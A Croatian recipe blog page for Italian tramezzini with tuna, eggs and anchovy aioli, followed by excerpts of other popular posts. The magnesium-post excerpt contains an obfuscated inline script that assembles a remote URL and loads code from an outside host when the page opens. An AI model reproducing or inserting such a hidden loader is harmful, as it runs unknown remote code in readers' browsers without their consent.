TALIJANSKI TRAMEZZINI S TUNOM I JAJIMA





Talijanski tramezzini s tunom i jajima 




Talijanska kuhinja još jednom dokazuje da i od sasvim jednostavnih sastojaka možemo napraviti nešto posebno. Ovi tramezzini s tunom i jajima idealan su primjer, a radi se o mekanim sendvičima koji se tradicionalno pripremaju od bijelog kruha bez kore. U ovoj verziji kombiniraju se s jajima kuhanima tako da žumanjak ostane kremast, tunom, tanko narezanim rajčicama, koprom i potočarkom.




Talijanski tramezzini s tunom i jajima 


Sastojci:

Za sendviče:

  • 4 domaća jaja, sobne temperature
  • 450 g tune iz konzerve u ulju, ocijeđene
  • 8 kriški mekanog bijelog kruha, bez kore
  • omekšali maslac za premazivanje
  • 2 šalice potočarke
  • rajčica, vrlo tanko narezana
  • svježi kopar


Za aioli:

  • 2 žumanjka
  • 1 žlica limunova soka
  • 2 žlice kapara
  • 4 fileta inćuna
  • 1 mali češanj češnjaka, sitno nasjeckan
  • 1 čajna žličica Dijon senfa
  • 240 ml maslinova ulja
  • sol i papar po ukusu



Priprema:

Za početak napravite aioli; u multipraktik stavite žumanjke, limunov sok, češnjak, inćune i senf. Miksajte, a zatim uz uključen uređaj polako dodajte maslinovo ulje u tankom, ravnomjernom mlazu. Nastavite miksati dok se svi sastojci ne sjedine, a umak ne postane gust i kremast.

Od navedene količine dobit ćete oko 300 ml aiolija. Začinite prema ukusu i stavite u hladnjak.

Potom zakuhajte vodu u loncu, pažljivo dodajte jaja i kuhajte ih oko 6 minuta. Cilj je dobiti čvrst bjelanjak i još uvijek kremast žumanjak. Kuhana jaja odmah prebacite u posudu s ledenom vodom. Ostavite ih nekoliko minuta, a zatim ogulite.

Pripremite nadjev od tune tako što ćete u zdjeli pomiješati ocijeđenu tunu, sitno nasjeckanu ljutiku, kapare, inćune i onoliko aiolija koliko je potrebno da dobijete kremastu, ali kompaktnu smjesu. Začinite prema ukusu.

Preostali aioli možete čuvati u hladnjaku 4 do 5 dana, u dobro zatvorenoj posudi.

Složite tramezzine! Jednu stranu svake kriške kruha premažite omekšalim maslacem. Kriške prerežite po dijagonali kako biste dobili trokute. Uzmite dva trokuta i stavite ih tako da je namazana strana okrenuta prema gore. Na jednu polovicu položite nekoliko kriški kuhanog jajeta, dodajte žlicu nadjeva od tune i nekoliko listića potočarke.

Poklopite drugim trokutom kruha i lagano pritisnite rubove kako bi se sendvič zatvorio.

Ponovite s preostalim kruhom i nadjevom.

Za još bogatiju i svježiju verziju, između slojeva dodajte nekoliko vrlo tankih kriški rajčice i malo svježeg kopra. Tramezzine poslužite dobro ohlađene, uz čašu bijelog vina.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više